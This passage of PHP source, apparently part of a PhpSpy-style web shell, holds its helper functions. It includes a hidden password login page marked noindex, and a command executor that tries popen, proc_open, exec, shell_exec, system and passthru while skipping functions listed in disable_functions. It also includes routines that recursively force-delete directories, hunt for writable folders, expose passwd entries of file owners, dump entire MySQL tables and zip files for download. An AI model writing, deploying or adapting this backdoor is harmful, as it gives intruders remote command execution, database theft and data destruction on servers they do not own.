2435 if($page > $pages) {
2436
2437 $from = 1;
2438
2439 $to = $pages;
2440
2441 } else {
2442
2443 $from = $curpage - $offset;
2444
2445 $to = $curpage + $page - $offset - 1;
2446
2447 if($from < 1) {
2448
2449 $to = $curpage + 1 - $from;
2450
2451 $from = 1;
2452
2453 if(($to - $from) < $page && ($to - $from) < $pages) {
2454
2455 $to = $page;
2456
2457 }
2458
2459 } elseif($to > $pages) {
2460
2461 $from = $curpage - $pages + $to;
2462
2463 $to = $pages;
2464
2465 if(($to - $from) < $page && ($to - $from) < $pages) {
2466
2467 $from = $pages - $page + 1;
2468
2469 }
2470
2471 }
2472
2473 }
2474
2475 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2476
2477 for($i = $from; $i <= $to; $i++) {
2478
2479 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2480
2481 }
2482
2483 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2484
2485 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2486
2487 }
2488
2489 return $multipage;
2490
2491}
2492
2493function loginpage() { ?>
2494
2495
2496
2497<html><head>
2498
2499<meta name="robots" content="noindex,nofollow,noarchive">
2500
2501<style type="text/css">
2502
2503*{font:11px Verdana;}input {background:#FFF;line-height:18px;border:1px solid #666;}
2504
2505</style>
2506
2507</head>
2508
2509<body>
2510
2511<form method="post" action="<?php echo $self;?>">
2512
2513Password: <input name="password" type="password" size="20" value="">
2514
2515<input type="hidden" name="doing" value="login">
2516
2517<input type="submit" value="Login">
2518
2519</form>
2520
2521</body></html>
2522
2523<?php exit;
2524
2525}
2526
2527function mycmd($c) {
2528
2529$re='';
2530
2531 if($c) {
2532
2533 $pi=array(array('pipe','r'),array('pipe','w'),array('pipe','w'));
2534
2535 if(isfunc('popen') && @is_resource($f=popen($c.' 2>&1','r'))) {$re.=gres($f);@pclose($f);}
2536
2537 elseif(isfunc('proc_open') && @is_resource($f=proc_open($c,$pi,$pipes))) {$re.=gres($pipes[1]);$re.=gres($pipes[2]);foreach($pipes as $pp)fclose($pp);@proc_close($f);}
2538
2539 elseif(isfunc('exec')){exec($c,$re);$re=join("\n",$re);}
2540
2541 elseif(isfunc('shell_exec')){$re=shell_exec($c);}
2542
2543 elseif(isfunc('system')) {ob_start();system($c);$re=@ob_get_contents();@ob_end_clean();}
2544
2545 elseif(isfunc('passthru')){ob_start();passthru($c);$re=@ob_get_contents();@ob_end_clean();}
2546
2547 }
2548
2549return $re;
2550
2551}
2552
2553function nofunc(){$r=explode(',',@ini_get("disable_functions"));return empty($r)?array():$r;}
2554
2555function isfunc($f){return (function_exists($f) && is_callable($f) && !in_array($f,nofunc()))?1:0;}
2556
2557function gres($r){if(!isfunc('stream_get_contents')){while(!feof($r)){$re.=fread($r,4096);}}else{$re.=stream_get_contents($r);}return $re;}
2558
2559function which($pr){$path = mycmd("which $pr");return ($path ? $path : $pr);}
2560
2561function sv_file($f,$c) {
2562
2563 if(function_exists('file_put_contents')) {return @file_put_contents($f,$c);}
2564
2565 else{
2566
2567 $r=false;
2568
2569 if($fp=@fopen($f,'w')){
2570
2571 @fwrite($fp,$c);
2572
2573 @fclose($fp);
2574
2575 $r=true;
2576
2577 }
2578
2579 return $r;
2580
2581 }
2582
2583}
2584
2585function debuginfo() {global $starttime;$mtime = explode(' ', microtime());$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);echo 'Processed in '.$totaltime.' second(s)';}
2586
2587function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
2588
2589 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
2590
2591 p('<h2>Can not connect to MySQL server</h2>');
2592
2593 exit;
2594
2595 }
2596
2597 if($link && $dbname) {
2598
2599 if(!@mysql_select_db($dbname, $link)) {
2600
2601 p('<h2>Database selected has error</h2>');
2602
2603 exit;
2604
2605 }
2606
2607 }
2608
2609 if($link && mysql_get_server_info() > '4.1') {
2610
2611 if(in_array(strtolower($charset), array('latin1', 'utf8'))) {
2612
2613 q("SET character_set_connection=$charset, character_set_results=$charset,
2614
2615character_set_client=binary;", $link);
2616
2617 }
2618
2619 }
2620
2621 return $link;
2622
2623}
2624
2625function s_array(&$array) {
2626
2627 if(is_array($array)) {
2628
2629 foreach ($array as $k => $v) {
2630
2631 $array[$k] = s_array($v);
2632
2633 }
2634
2635 } else if(is_string($array)) {
2636
2637 $array = stripslashes($array);
2638
2639 }
2640
2641 return $array;
2642
2643}
2644
2645function html_clean($content) {
2646
2647 $content = htmlspecialchars($content, ENT_QUOTES);
2648
2649 $content = str_replace(array("\n",' ',"\t"), array("<br />",' ',' '), $content);
2650
2651 return $content;
2652
2653}
2654
2655function getChmod($filepath){
2656
2657 return substr(base_convert(@fileperms($filepath),10,8),-4);
2658
2659}
2660
2661function getPerms($filepath) {
2662
2663 $mode = @fileperms($filepath);
2664
2665 if(($mode & 0xC000) === 0xC000) {$type = 's';}
2666
2667 elseif(($mode & 0x4000) === 0x4000) {$type = 'd';}
2668
2669 elseif(($mode & 0xA000) === 0xA000) {$type = 'l';}
2670
2671 elseif(($mode & 0x8000) === 0x8000) {$type = '-';}
2672
2673 elseif(($mode & 0x6000) === 0x6000) {$type = 'b';}
2674
2675 elseif(($mode & 0x2000) === 0x2000) {$type = 'c';}
2676
2677 elseif(($mode & 0x1000) === 0x1000) {$type = 'p';}
2678
2679 else {$type = '?';}
2680
2681 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2682
2683 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2684
2685 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2686
2687 $group['read'] = ($mode & 00040) ? 'r' : '-';
2688
2689 $group['write'] = ($mode & 00020) ? 'w' : '-';
2690
2691 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2692
2693 $world['read'] = ($mode & 00004) ? 'r' : '-';
2694
2695 $world['write'] = ($mode & 00002) ? 'w' : '-';
2696
2697 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2698
2699 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
2700
2701 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
2702
2703 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
2704
2705 return
2706
2707$type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].
2708
2709$world['write'].$world['execute'];
2710
2711}
2712
2713function getUser($filepath) {
2714
2715 $r='';
2716
2717 if(isfunc('posix_getpwuid')) {
2718
2719 $array = @posix_getpwuid(@fileowner($filepath));
2720
2721 if($array && is_array($array)) {
2722
2723 $r.= ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
2724
2725 }
2726
2727 }
2728
2729 return $r;
2730
2731}
2732
2733function deltree($deldir) {
2734
2735 $mydir=@dir($deldir);
2736
2737 while($file=$mydir->read()) {
2738
2739 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
2740
2741 @chmod($deldir.'/'.$file,0777);
2742
2743 deltree($deldir.'/'.$file);
2744
2745 }
2746
2747 if(is_file($deldir.'/'.$file)) {
2748
2749 @chmod($deldir.'/'.$file,0777);
2750
2751 @unlink($deldir.'/'.$file);
2752
2753 }
2754
2755 }
2756
2757 $mydir->close();
2758
2759 @chmod($deldir,0777);
2760
2761 return @rmdir($deldir) ? 1 : 0;
2762
2763}
2764
2765function bg() {global $bgc;return ($bgc++%2==0) ? 'alt1' : 'alt2';}
2766
2767function getPath($scriptpath, $nowpath) {
2768
2769 if($nowpath == '.') {
2770
2771 $nowpath = $scriptpath;
2772
2773 }
2774
2775 $nowpath = str_replace('\\', '/', $nowpath);
2776
2777 $nowpath = str_replace('//', '/', $nowpath);
2778
2779 if(substr($nowpath, -1) != '/') {
2780
2781 $nowpath = $nowpath.'/';
2782
2783 }
2784
2785 return $nowpath;
2786
2787}
2788
2789function getUpPath($nowpath) {
2790
2791 $pathdb = explode('/', $nowpath);
2792
2793 $num = count($pathdb);
2794
2795 if($num > 2) {
2796
2797 unset($pathdb[$num-1],$pathdb[$num-2]);
2798
2799 }
2800
2801 $uppath = implode('/', $pathdb).'/';
2802
2803 $uppath = str_replace('//', '/', $uppath);
2804
2805 return $uppath;
2806
2807}
2808
2809function getcfg($var) {
2810
2811 $l = @ini_get($var);$i = @get_cfg_var($var);
2812
2813 $l = $l == 0 ? 'No' : ($l == 1 ? 'Yes' : $l);
2814
2815 $i = $i == 0 ? 'No' : ($i == 1 ? 'Yes' : $i);
2816
2817 $r = 'Local value: '.$l.' - INI value: '.$i;
2818
2819 return $r;
2820
2821}
2822
2823function GetList($dir){
2824
2825global $dirdata,$j,$nowpath;
2826
2827!$j && $j=1;
2828
2829if($dh = opendir($dir)) {
2830
2831 while ($file = readdir($dh)) {
2832
2833 $f=str_replace('//','/',$dir.'/'.$file);
2834
2835 if($file!='.' && $file!='..' && is_dir($f)){
2836
2837 if(is_writable($f)) {
2838
2839 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
2840
2841 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
2842
2843 $dirdata[$j]['dirchmod']=getChmod($f);
2844
2845 $dirdata[$j]['dirperm']=getPerms($f);
2846
2847 $dirdata[$j]['dirlink']=ue($dir);
2848
2849 $dirdata[$j]['server_link']=$f;
2850
2851 $dirdata[$j]['client_link']=ue($f);
2852
2853 $j++;
2854
2855 }
2856
2857 GetList($f);
2858
2859 }
2860
2861 }
2862
2863 closedir($dh);
2864
2865 clearstatcache();
2866
2867 return $dirdata;
2868
2869 } else {
2870
2871 return array();
2872
2873 }
2874
2875}
2876
2877function qy($sql) {
2878
2879$res = $error = '';
2880
2881if(!$res = @mysql_query($sql)) {
2882
2883 return 0;
2884
2885 } else if(is_resource($res)) {
2886
2887 return 1;
2888
2889 } else {
2890
2891 return 2;
2892
2893 }
2894
2895return 0;
2896
2897}
2898
2899function q($sql) {return @mysql_query($sql);}
2900
2901function fr($qy){mysql_free_result($qy);}
2902
2903function sizecount($size) {
2904
2905 if($size > 1073741824) {
2906
2907 $size = round($size / 1073741824 * 100) / 100 . ' G';
2908
2909 } elseif($size > 1048576) {
2910
2911 $size = round($size / 1048576 * 100) / 100 . ' M';
2912
2913 } elseif($size > 1024) {
2914
2915 $size = round($size / 1024 * 100) / 100 . ' K';
2916
2917 } else {
2918
2919 $size = $size . ' B';
2920
2921 }
2922
2923 return $size;
2924
2925}
2926
2927class PHPZip{
2928
2929 var $out='';
2930
2931 function PHPZip($dir) {
2932
2933 if(isfunc('gzcompress')) {
2934
2935 $curdir = getcwd();
2936
2937 if(is_array($dir)) $filelist = $dir;
2938
2939 else{
2940
2941 $filelist=$this -> GetFileList($dir);
2942
2943 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2944
2945 }
2946
2947 if((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2948
2949 else chdir($curdir);
2950
2951 if(count($filelist)>0){
2952
2953 foreach($filelist as $filename){
2954
2955 if(is_file($filename)){
2956
2957 $fd = fopen ($filename, 'r');
2958
2959 $content = @fread ($fd, filesize($filename));
2960
2961 fclose ($fd);
2962
2963 if(is_array($dir)) $filename = basename($filename);
2964
2965 $this -> addFile($content, $filename);
2966
2967 }
2968
2969 }
2970
2971 $this->out = $this -> file();
2972
2973 chdir($curdir);
2974
2975 }
2976
2977 return 1;
2978
2979 }
2980
2981 else return 0;
2982
2983 }
2984
2985 function GetFileList($dir){
2986
2987 static $a;
2988
2989 if(is_dir($dir)) {
2990
2991 if($dh = opendir($dir)) {
2992
2993 while ($file = readdir($dh)) {
2994
2995 if($file!='.' && $file!='..'){
2996
2997 $f=$dir .'/'. $file;
2998
2999 if(is_dir($f)) $this->GetFileList($f);
3000
3001 $a[]=$f;
3002
3003 }
3004
3005 }
3006
3007 closedir($dh);
3008
3009 }
3010
3011 }
3012
3013 return $a;
3014
3015 }
3016
3017 var $datasec = array();
3018
3019 var $ctrl_dir = array();
3020
3021 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
3022
3023 var $old_offset = 0;
3024
3025 function unix2DosTime($unixtime = 0) {
3026
3027 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
3028
3029 if($timearray['year'] < 1980) {
3030
3031 $timearray['year'] = 1980;
3032
3033 $timearray['mon'] = 1;
3034
3035 $timearray['mday'] = 1;
3036
3037 $timearray['hours'] = 0;
3038
3039 $timearray['minutes'] = 0;
3040
3041 $timearray['seconds'] = 0;
3042
3043 }
3044
3045 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
3046
3047 }
3048
3049 function addFile($data, $name, $time = 0) {
3050
3051 $name = str_replace('\\', '/', $name);
3052
3053 $dtime = dechex($this->unix2DosTime($time));
3054
3055 $hexdtime = '\x' . $dtime[6] . $dtime[7]
3056
3057 . '\x' . $dtime[4] . $dtime[5]
3058
3059 . '\x' . $dtime[2] . $dtime[3]
3060
3061 . '\x' . $dtime[0] . $dtime[1];
3062
3063 eval('$hexdtime = "' . $hexdtime . '";');
3064
3065 $fr = "\x50\x4b\x03\x04";
3066
3067 $fr .= "\x14\x00";
3068
3069 $fr .= "\x00\x00";
3070
3071 $fr .= "\x08\x00";
3072
3073 $fr .= $hexdtime;
3074
3075 $unc_len = strlen($data);
3076
3077 $crc = crc32($data);
3078
3079 $zdata = gzcompress($data);
3080
3081 $c_len = strlen($zdata);
3082
3083 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
3084
3085 $fr .= pack('V', $crc);
3086
3087 $fr .= pack('V', $c_len);
3088
3089 $fr .= pack('V', $unc_len);
3090
3091 $fr .= pack('v', strlen($name));
3092
3093 $fr .= pack('v', 0);
3094
3095 $fr .= $name;
3096
3097 $fr .= $zdata;
3098
3099 $fr .= pack('V', $crc);
3100
3101 $fr .= pack('V', $c_len);
3102
3103 $fr .= pack('V', $unc_len);
3104
3105 $this -> datasec[] = $fr;
3106
3107 $new_offset = strlen(implode('', $this->datasec));
3108
3109 $cdrec = "\x50\x4b\x01\x02";
3110
3111 $cdrec .= "\x00\x00";
3112
3113 $cdrec .= "\x14\x00";
3114
3115 $cdrec .= "\x00\x00";
3116
3117 $cdrec .= "\x08\x00";
3118
3119 $cdrec .= $hexdtime;
3120
3121 $cdrec .= pack('V', $crc);
3122
3123 $cdrec .= pack('V', $c_len);
3124
3125 $cdrec .= pack('V', $unc_len);
3126
3127 $cdrec .= pack('v', strlen($name) );
3128
3129 $cdrec .= pack('v', 0 );
3130
3131 $cdrec .= pack('v', 0 );
3132
3133 $cdrec .= pack('v', 0 );
3134
3135 $cdrec .= pack('v', 0 );
3136
3137 $cdrec .= pack('V', 32 );
3138
3139 $cdrec .= pack('V', $this -> old_offset );
3140
3141 $this -> old_offset = $new_offset;
3142
3143 $cdrec .= $name;
3144
3145 $this -> ctrl_dir[] = $cdrec;
3146
3147 }
3148
3149 function file() {
3150
3151 $data = implode('', $this -> datasec);
3152
3153 $ctrldir = implode('', $this -> ctrl_dir);
3154
3155 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
3156
3157 }
3158
3159}
3160
3161function sqldumptable($table, $fp=0) {
3162
3163 $tabledump = "DROP TABLE IF EXISTS $table;\n";
3164
3165 $tabledump .= "CREATE TABLE $table (\n";
3166
3167 $firstfield=1;
3168
3169 $fields = q("SHOW FIELDS FROM $table");
3170
3171 while ($field = mysql_fetch_array($fields)) {
3172
3173 if(!$firstfield) {
3174
3175 $tabledump .= ",\n";
3176
3177 } else {
3178
3179 $firstfield=0;
3180
3181 }
3182
3183 $tabledump .= " $field[Field] $field[Type]";
3184
3185 if(!empty($field["Default"])) {
3186
3187 $tabledump .= " DEFAULT '$field[Default]'";
3188
3189 }
3190
3191 if($field['Null'] != "YES") {
3192
3193 $tabledump .= " NOT NULL";
3194
3195 }
3196
3197 if($field['Extra'] != "") {
3198
3199 $tabledump .= " $field[Extra]";
3200
3201 }
3202
3203 }
3204
3205 fr($fields);
3206
3207 $keys = q("SHOW KEYS FROM $table");
3208
3209 while ($key = mysql_fetch_array($keys)) {
3210
3211 $kname=$key['Key_name'];
3212
3213 if($kname != "PRIMARY" && $key['Non_unique'] == 0) {
3214
3215 $kname="UNIQUE|$kname";
3216
3217 }
3218
3219 if(!is_array($index[$kname])) {
3220
3221 $index[$kname] = array();
3222
3223 }
3224
3225 $index[$kname][] = $key['Column_name'];
3226
3227 }
3228
3229 fr($keys);
3230
3231 while(list($kname, $columns) = @each($index)) {
3232
3233 $tabledump .= ",\n";
3234
3235 $colnames=implode($columns,",");
3236
3237 if($kname == "PRIMARY") {
3238
3239 $tabledump .= " PRIMARY KEY ($colnames)";
3240
3241 } else {
3242
3243 if(substr($kname,0,6) == "UNIQUE") {
3244
3245 $kname=substr($kname,7);
3246
3247 }
3248
3249 $tabledump .= " KEY $kname ($colnames)";
3250
3251 }
3252
3253 }
3254
3255 $tabledump .= "\n);\n\n";
3256
3257 if($fp) {
3258
3259 fwrite($fp,$tabledump);
3260
3261 } else {
3262
3263 echo $tabledump;
3264
3265 }
3266
3267 $rows = q("SELECT * FROM $table");
3268
3269 $numfields = mysql_num_fields($rows);
3270
3271 while ($row = mysql_fetch_array($rows)) {
3272
3273 $tabledump = "INSERT INTO $table VALUES(";
3274
3275 $fieldcounter=-1;
3276
3277 $firstfield=1;
3278
3279 while (++$fieldcounter<$numfields) {
3280
3281 if(!$firstfield) {
3282
3283 $tabledump.=", ";
3284
3285 } else {
3286
3287 $firstfield=0;
3288
3289 }
3290
3291 if(!isset($row[$fieldcounter])) {
3292
3293 $tabledump .= "NULL";
3294
3295 } else {
3296
3297 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
3298
3299 }
3300
3301 }
3302
3303 $tabledump .= ");\n";
3304
3305 if($fp) {
3306
3307 fwrite($fp,$tabledump);
3308
3309 } else {
3310
3311 echo $tabledump;
3312
3313 }
3314
3315 }
3316
3317 fr($rows);
3318
3319 if($fp) {
3320
3321 fwrite($fp,"\n");
3322
3323 } else {
3324
3325 echo "\n";
3326
3327 }
3328
3329}
3330
3331function ue($str){return urlencode($str);}
3332
3333function p($str){echo $str."\n";}
3334
3335function tbhead() {p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}
3336
3337function tbfoot(){p('</table>');}
3338
3339function makehide($name,$value=''){p('<input id="'.$name.'" type="hidden" name="'.$name.'" value="'.$value.'" />');}
3340
3341function makeinput($arg = array()){
3342
3343$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
3344
3345$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
3346
3347!$arg['type'] && $arg['type'] = 'text';
3348
3349$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3350
3351$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
3352
3353if($arg['newline']) {
3354
3355 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
3356
3357 } else {
3358
3359 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
3360
3361 }
3362
3363}
3364
3365function makeselect($arg = array()){
3366
3367if($arg['onchange']) {
3368
3369 $onchange = 'onchange="'.$arg['onchange'].'"';
3370
3371}
3372
3373$arg['title'] = $arg['title'] ? $arg['title'] : '';
3374
3375if($arg['newline']) p('<p>');
3376
3377 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
3378
3379 if(is_array($arg['option'])) {
3380
3381 foreach ($arg['option'] as $key=>$value) {
3382
3383 if($arg['selected']==$key) {
3384
3385 p("<option value=\"$key\" selected>$value</option>");
3386
3387 } else {
3388
3389 p("<option value=\"$key\">$value</option>");
3390
3391 }
3392
3393 }
3394
3395 }
3396
3397p("</select>");
3398
3399if($arg['newline']) p('</p>');
3400
3401}
3402
3403function formhead($arg = array()) {
3404
3405!$arg['method'] && $arg['method'] = 'post';
3406
3407!$arg['action'] && $arg['action'] = $self;
3408
3409$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
3410
3411!$arg['name'] && $arg['name'] = 'form1';
3412
3413p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
3414
3415if($arg['title']) {p('<h2>'.$arg['title'].' »</h2>');}
3416
3417}
3418
3419function maketext($arg = array()){
3420
3421!$arg['cols'] && $arg['cols'] = 100;
3422
3423!$arg['rows'] && $arg['rows'] = 25;
3424
3425$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
3426
3427p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
3428
3429}
3430
3431function formfooter($name=''){!$name && $name = 'submit';p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit" /></p>'."\n</form>");}
3432
3433exit();